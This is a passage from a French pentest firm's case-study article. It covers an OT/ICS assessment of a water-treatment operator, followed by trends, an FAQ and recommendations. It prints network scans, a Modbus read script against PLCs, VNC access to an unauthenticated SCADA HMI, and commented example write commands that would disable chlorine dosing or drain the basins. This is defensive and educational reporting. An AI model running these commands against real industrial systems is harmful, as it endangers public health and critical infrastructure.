  4. Monitoring (J+14) : Activation de GuardDuty et CloudTrail sur les 3 comptes avec centralisation des logs.
  5. Staging data (J+21) : Mise en place d’un processus d’anonymisation des données de production avant copie vers staging.
  6. IAM Governance (J+30) : Déploiement de Prowler en CI/CD pour scanner les politiques IAM à chaque modification.

4.7 Leçons apprises

💡 Leçon clé — Audit cloud AWS : La complexité d’IAM AWS est le principal vecteur de risque. Les trust policies cross-account mal configurées créent des chemins d’escalade invisibles. L’utilisation d’outils comme PMapper et Pacu pour cartographier les chemins d’escalade doit faire partie de chaque audit cloud.

Cette mission a révélé un pattern récurrent dans les environnements cloud qui ont grandi organiquement : l’accumulation de permissions (« permission sprawl »). CloudFirst avait démarré avec 2 développeurs et un seul compte AWS. Cinq ans et 200 employés plus tard, l’infrastructure comptait 347 utilisateurs IAM, 89 rôles et 156 politiques, dont 43 politiques inline non documentées. La dette de sécurité IAM est souvent invisible jusqu’à ce qu’un auditeur (ou un attaquant) prenne le temps de cartographier les chemins d’escalade.

Mission 5 : Évaluation OT/ICS — Modbus + Pivot IT→OT

5.1 Contexte de la mission

ParamètreDétail
Client (anonymisé)AquaControl — Opérateur de traitement des eaux, ~350 employés
SecteurUtilities / Traitement des eaux
Type de missionÉvaluation de sécurité OT/ICS (test limité, non destructif)
PérimètreRéseau IT corporate + réseau OT (SCADA, PLC, HMI)
Technologies OTSchneider Electric M340 PLC, Wonderware InTouch HMI, Modbus TCP
Durée15 jours ouvrés (dont 5 jours sur site OT)
Équipe2 pentesters (1 spécialiste IT + 1 spécialiste OT/ICS)
Budget indicatif25 000 – 35 000 € HT
Objectif principalÉvaluer la possibilité d’un pivot IT→OT et l’impact sur le process industriel
ContraintesAucun test destructif, aucune modification des valeurs process, uniquement en lecture

AquaControl opérait 3 stations de traitement des eaux desservant une agglomération de 150 000 habitants. Suite aux alertes du CERT-FR concernant les attaques ciblant les infrastructures d’eau, la direction avait décidé de faire évaluer la sécurité de leur infrastructure OT. La contrainte principale était la non-perturbation des processus industriels. Pour en savoir plus, consultez notre article dédié à la sécurité OT/ICS.

⚠️ Contrainte de sécurité critique : Les tests sur environnements OT/ICS en production nécessitent des précautions extrêmes. Toute écriture non contrôlée sur un automate peut avoir des conséquences physiques (arrêt de process, dommages matériels, risques pour la sécurité des personnes). Notre engagement contractuel interdisait formellement toute commande d’écriture Modbus.

5.2 Phase IT : Compromission du réseau corporate

# Scan reseau initial - decouverte des segments
nmap -sn 192.168.0.0/16 --min-rate 1000 -oG scan_networks.gnmap

# Reseaux decouverts :
# 192.168.1.0/24   - Reseau corporate (postes de travail, serveurs)
# 192.168.2.0/24   - Reseau serveurs IT
# 192.168.10.0/24  - Reseau DMZ
# 192.168.100.0/24 - Reseau OT/SCADA (!) <= accessible depuis le VLAN corporate !

# Verification de la connectivite vers le reseau OT
nmap -sT -p 502,102,2222,44818,47808,20000 192.168.100.0/24 --open

# Resultat CRITIQUE :
# 192.168.100.10 - Port 502 ouvert (Modbus TCP) - PLC Station 1
# 192.168.100.11 - Port 502 ouvert (Modbus TCP) - PLC Station 2
# 192.168.100.20 - Port 2222 ouvert - HMI Wonderware
# 192.168.100.50 - Port 3389 ouvert - Serveur SCADA (RDP !)

# AUCUN firewall entre le reseau IT et le reseau OT !
⚠️ Finding critique (CVSS 10.0) : Aucune segmentation réseau entre le réseau IT corporate et le réseau OT/SCADA. Tout employé ou attaquant ayant compromis un poste de travail IT peut directement accéder aux automates industriels (PLC) et aux interfaces homme-machine (HMI) contrôlant le traitement des eaux. C’est la vulnérabilité la plus critique identifiée sur l’ensemble des 5 missions.

5.3 Phase OT : Analyse des protocoles industriels

# Interrogation Modbus en lecture seule - identification de l'automate
python3 -c "
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('192.168.100.10', port=502)
client.connect()

# Lecture des registres d'identification (Holding Registers)
result = client.read_holding_registers(address=0, count=10, slave=1)
if not result.isError():
    print(f'Registres 0-9: {result.registers}')

# Lecture des coils (sorties numeriques) - etat des vannes
result = client.read_coils(address=0, count=20, slave=1)
if not result.isError():
    print(f'Coils 0-19 (vannes): {result.bits[:20]}')

# Lecture des input registers (capteurs) - niveaux, pH, chlore
result = client.read_input_registers(address=0, count=30, slave=1)
if not result.isError():
    print(f'Input Registers (capteurs): {result.registers}')

client.close()
"
# Resultat :
# Registres 0-9: [4532, 712, 85, 23, 450, 0, 0, 0, 0, 0]
# pH: 7.12, Chlore: 0.85 mg/L, Turbidite: 2.3 NTU, Debit: 450 m3/h
# Scan des services sur le serveur SCADA
nmap -sV -p- 192.168.100.50 --min-rate 1000

# PORT     STATE SERVICE       VERSION
# 135/tcp  open  msrpc         Microsoft Windows RPC
# 445/tcp  open  microsoft-ds  Windows Server 2012 R2 (!)
# 3389/tcp open  ms-wrd-rdp    Microsoft Terminal Services
# 5900/tcp open  vnc           VNC (protocol 3.8)
# 8080/tcp open  http          Wonderware InTouch Web

# PROBLEMES IDENTIFIES :
# 1. Windows Server 2012 R2 - fin de support depuis octobre 2023 !
# 2. VNC sans authentification sur le serveur SCADA
# 3. Wonderware InTouch Web accessible sans authentification

# Test VNC sans mot de passe
vncviewer 192.168.100.50:5900
# Connexion reussie ! Acces direct a l'interface HMI SCADA
# Les boutons de commande sont accessibles (nous n'avons PAS clique)

5.4 Démonstration d’impact (en lecture seule)

# Demonstration : un attaquant pourrait modifier les registres Modbus
# NOUS N'AVONS PAS EXECUTE CES COMMANDES - simulation documentaire uniquement

# Exemple theorique - modification du seuil de chloration :
# client.write_register(address=100, value=0, slave=1)
# => Desactivation de la pompe doseuse de chlore
# Consequence : eau non traitee distribuee au reseau

# Exemple theorique - ouverture de toutes les vannes de vidange :
# client.write_coils(address=0, values=[True]*20, slave=1)
# => Vidange des bassins de traitement
# Consequence : arret de la distribution d'eau

# Ces commandes Modbus ne necessitent AUCUNE authentification
# Le protocole Modbus TCP ne dispose pas de mecanisme d'authentification natif

5.5 Synthèse des findings

IDVulnérabilitéSévéritéCVSSImpact OT
OT-01Absence totale de segmentation IT/OT🔴 Critique10.0Accès direct aux automates depuis le réseau IT
OT-02Modbus TCP sans authentification (par design)🔴 Critique9.8Lecture/écriture arbitraire sur les PLC
OT-03VNC sans authentification sur le serveur SCADA🔴 Critique9.5Contrôle total du SCADA via interface graphique
OT-04Windows Server 2012 R2 non supporté (serveur SCADA)🔴 Haute8.5Vulnérabilités non patchées (EternalBlue potentiel)
OT-05Wonderware InTouch Web sans authentification🔴 Haute8.0Accès à l’interface de supervision sans credentials
OT-06Absence de monitoring réseau OT (pas d’IDS/IPS industriel)🟠 Moyenne6.5Aucune détection d’activité malveillante sur le réseau OT
OT-07Pas de sauvegarde des programmes automates🟠 Moyenne5.8Impossibilité de restaurer rapidement en cas d’altération
OT-08Absence de plan de réponse à incident OT🟠 Moyenne5.0Pas de procédure en cas de cyberattaque sur l’OT

5.6 Remédiations appliquées

  1. Segmentation IT/OT (J+14, priorité absolue) : Déploiement d’un firewall industriel (Fortinet FortiGate Rugged) entre le réseau IT et le réseau OT. Seuls les flux strictement nécessaires sont autorisés (uniquement OPC-UA chiffré, pas de Modbus TCP brut traversant la frontière).
  2. DMZ industrielle (J+30) : Création d’une DMZ industrielle hébergeant le serveur historien et le jump host d’administration. L’accès au réseau OT nécessite désormais une authentification MFA et un enregistrement de session.
  3. VNC / Auth (J+7) : Activation de l’authentification VNC avec mot de passe fort et restriction d’accès aux seules IP autorisées.
  4. SCADA OS (J+60) : Planification de la migration du serveur SCADA vers Windows Server 2022 lors de la prochaine fenêtre de maintenance.
  5. IDS OT (J+45) : Déploiement de Nozomi Networks Guardian pour la détection d’anomalies sur le réseau OT.
  6. Plan IR OT (J+90) : Développement et test d’un plan de réponse à incident spécifique OT, avec des procédures de basculement en mode manuel.

5.7 Leçons apprises

💡 Leçon clé — OT/ICS : La segmentation réseau IT/OT est la mesure de sécurité la plus critique et la plus urgente pour tout environnement industriel. Le protocole Modbus TCP, utilisé par la majorité des automates, ne dispose d’aucun mécanisme d’authentification ou de chiffrement natif. Sans segmentation, un attaquant ayant compromis un simple poste de travail IT peut potentiellement prendre le contrôle de processus industriels critiques.

Cette mission a été la plus « impactante » des 5 en termes de risques réels pour la sécurité publique. La possibilité pour un attaquant de modifier les paramètres de traitement de l’eau aurait pu avoir des conséquences sanitaires directes sur 150 000 personnes. Pour les pentesters souhaitant se spécialiser en OT/ICS, cette mission illustre l’importance d’une approche extrêmement prudente. Contrairement à un test IT où le pire scénario est un crash de serveur, un test OT mal contrôlé peut avoir des conséquences physiques irréversibles.

Tableau comparatif des 5 missions

MétriqueMission 1 : ADMission 2 : WebMission 3 : Red TeamMission 4 : CloudMission 5 : OT/ICS
Client typeETI industrielleE-commerce B2CGroupe bancaireSaaS B2BUtilities / Eau
Durée totale8 jours10 jours20 jours12 jours15 jours
Taille équipe2 pentesters2 pentesters4 opérateurs2 pentesters2 pentesters
Budget indicatif15-20K€18-25K€45-60K€20-28K€25-35K€
Temps vers objectif*3h47 (DA)6h30 (RCE)8 jours (core banking)2h15 (S3 prod)45 min (PLC access)
Findings critiques11123
Findings hauts23322
Findings moyens21243
Findings bas22000
Total findings77688
CVSS max9.89.8N/A (Red Team)9.110.0
Remédiation complète6 semaines4 semaines6 semaines4 semaines3 mois
Outil principalCertipy, RubeusBurp Suite, ffufCobalt Strike customPacu, PMapperpymodbus, Nmap

* Temps vers objectif : temps écoulé entre le début des tests actifs et l’atteinte de l’objectif principal (Domain Admin, RCE, accès core banking, accès données prod, accès PLC).

Observation clé : La mission OT/ICS (Mission 5) a le CVSS le plus élevé (10.0) et le temps d’accès le plus court (45 minutes) en raison de l’absence totale de segmentation. Paradoxalement, c’est aussi la mission avec la remédiation la plus longue (3 mois) car les modifications sur les environnements industriels nécessitent des fenêtres de maintenance planifiées.

Tendances observées en 2025

Au-delà des 5 missions détaillées ci-dessus, notre expérience collective sur l’ensemble de nos engagements en 2024-2025 nous permet d’identifier plusieurs tendances transversales :

1. L’ADCS est le nouveau « quick win » en pentest AD

Si le Kerberoasting reste un classique, les vulnérabilités ADCS (ESC1 à ESC13) sont devenues le vecteur d’escalade le plus rapide et le plus fiable en environnement Active Directory. Sur nos 15 dernières missions AD internes, 73% des environnements présentaient au moins une vulnérabilité ADCS exploitable. Les outils Certify et Certipy ont considérablement démocratisé l’exploitation de ces failles.

2. Les chaînes d’exploitation multi-vulnérabilités dominent

Les failles « one-shot » (une seule vulnérabilité menant directement au RCE) sont de plus en plus rares. En revanche, les chaînes de vulnérabilités combinant 2, 3 voire 4 failles de sévérité moyenne pour obtenir un impact critique restent extrêmement efficaces. Le pentest moderne nécessite une capacité à identifier et exploiter ces chaînes.

3. Les EDR sont contournables mais l’effort augmente

Les EDR de dernière génération (CrowdStrike Falcon, Microsoft Defender for Endpoint, SentinelOne) sont significativement plus difficiles à contourner qu’il y a 2-3 ans. Le temps de développement d’un loader custom fonctionnel est passé de quelques heures à plusieurs jours de développement spécifique. Cependant, ils restent contournables par des opérateurs Red Team compétents utilisant des techniques de patching mémoire et des syscalls directs.

4. Le cloud IAM est le nouveau périmètre

Avec la migration massive vers le cloud, les erreurs de configuration IAM sont devenues le premier vecteur de compromission cloud. La complexité intrinsèque d’IAM AWS (plus de 13 000 actions de permissions possibles) rend les erreurs presque inévitables sans outillage et processus dédiés. Les outils d’analyse de chemins d’escalade (PMapper, Cloudsplaining) deviennent indispensables.

5. L’OT/ICS reste le parent pauvre de la cybersécurité

Malgré les alertes répétées des autorités (ANSSI, CISA), la sécurité des environnements OT/ICS accuse un retard considérable par rapport à l’IT. L’absence de segmentation IT/OT, l’utilisation de protocoles sans authentification (Modbus, S7comm) et la présence de systèmes d’exploitation obsolètes sont des constantes observées sur la quasi-totalité de nos missions OT.

FAQ — Retours d’expérience pentest

Combien de temps dure un pentest Active Directory typique ?

Un pentest AD interne dure généralement entre 5 et 10 jours ouvrés. La phase de reconnaissance et d’énumération prend 1-2 jours, l’exploitation 2-3 jours, et la rédaction du rapport 2-3 jours. Dans notre étude de cas, le chemin vers Domain Admin a été trouvé en 4 heures, mais la mission complète a duré 8 jours pour couvrir l’ensemble du périmètre. Le budget moyen se situe entre 12 000€ et 25 000€ HT.

Quels outils sont indispensables pour un pentest web e-commerce ?

Les outils essentiels incluent Burp Suite Professional pour l’interception et le fuzzing, SQLMap pour l’injection SQL, Nuclei pour la détection automatisée de vulnérabilités, ffuf pour le directory brute-forcing, et des scripts custom Python pour les chaînes d’exploitation complexes. Pour les applications modernes (SPA React/Angular), Postman ou Insomnia facilitent le test des API REST/GraphQL.

Est-il légal de contourner un EDR lors d’un Red Team ?

Oui, le contournement d’EDR est légal et même attendu dans le cadre d’un engagement Red Team contractualisé. Le périmètre, les techniques autorisées et les limites doivent être clairement définis dans les Rules of Engagement (RoE) signées par le client. L’objectif est de tester la capacité de détection réelle du SOC. En France, l’autorisation écrite du propriétaire du système est obligatoire (article 323-1 du Code pénal).

Comment sécuriser les rôles IAM AWS contre l’escalade de privilèges ?

Appliquez le principe du moindre privilège avec des politiques IAM granulaires, utilisez les conditions IAM (aws:SourceIp, aws:PrincipalOrgID), activez AWS Organizations SCP pour limiter les actions cross-account, configurez GuardDuty et CloudTrail pour la détection, et effectuez des audits réguliers avec Prowler, ScoutSuite ou Pacu. Évitez absolument les trust policies avec :root comme principal.

Quels sont les risques principaux d’un environnement OT/ICS non segmenté ?

Un environnement OT/ICS sans segmentation réseau expose les systèmes industriels à des attaques latérales depuis le réseau IT. Les protocoles industriels comme Modbus, S7comm ou EtherNet/IP n’intègrent pas d’authentification native, permettant la lecture/écriture arbitraire sur les automates (PLC). Les conséquences peuvent inclure l’arrêt de production, la manipulation de processus physiques et des risques pour la sécurité des personnes. La norme IEC 62443 fournit un cadre pour la segmentation et la sécurisation des environnements industriels.

Conclusion et recommandations transverses

Ces 5 retours d’expérience pentest illustrent la diversité des menaces auxquelles les organisations sont confrontées en 2025. Qu’il s’agisse d’une ETI industrielle, d’un e-commerce, d’une banque, d’un éditeur SaaS ou d’un opérateur d’infrastructure critique, les vecteurs d’attaque diffèrent mais certaines constantes se dégagent.

Recommandations transverses

  1. Auditez votre Active Directory au-delà des GPO : Les composants ADCS, les SPNs, les ACL et les chemins d’attaque BloodHound doivent être revus régulièrement. Un audit AD annuel n’est plus suffisant — une surveillance continue avec des outils comme Purple Knight ou PingCastle est nécessaire.
  2. Pensez en chaînes, pas en vulnérabilités isolées : Une vulnérabilité SSRF « moyenne » combinée à un service interne non authentifié peut devenir un RCE critique. Les scans automatisés ne détectent pas ces chaînes — seul un pentest manuel par des experts y parvient.
  3. L’EDR ne suffit pas : Investissez dans le triptyque EDR + SOC compétent + architecture segmentée. Un EDR contourné sans SOC réactif et sans segmentation offre zéro protection contre un attaquant déterminé.
  4. Cartographiez vos permissions cloud : La dette de sécurité IAM est invisible mais mortelle. Utilisez des outils d’analyse de chemins d’escalade (PMapper, Prowler, Cloudsplaining) en continu, pas uniquement lors des audits ponctuels.
  5. Segmentez IT et OT : C’est non négociable pour toute organisation opérant des systèmes industriels. Les protocoles OT n’ont pas été conçus pour la sécurité — la segmentation réseau est la première et la plus importante ligne de défense.
  6. Testez régulièrement : Un pentest annuel est un minimum. Les environnements à haut risque (finance, santé, infrastructure critique) devraient être testés semestriellement, complétés par du bug bounty ou du pentest as-a-service en continu.
Message final : Le pentest n’est pas un exercice de conformité à cocher — c’est un outil de réduction des risques qui, pour être efficace, doit être réaliste, régulier et suivi de remédiations concrètes. Les 5 missions présentées ici démontrent que même les organisations investissant dans leur sécurité conservent des angles morts exploitables. La question n’est pas de savoir si votre organisation peut être compromise, mais combien de temps il faudra à un attaquant pour y parvenir — et si vous le détecterez à temps.

Pour discuter de vos besoins en pentest ou en audit de sécurité, n’hésitez pas à contacter notre équipe. Nous proposons des missions adaptées à votre contexte, votre maturité de sécurité et vos contraintes opérationnelles.

Ressources complémentaires

📖 À lire aussi : guide pentest AD

📖 À lire aussi : Kerberoasting

📖 À lire aussi : BloodHound vs SharpHound

📖 À lire aussi : débuter en pentest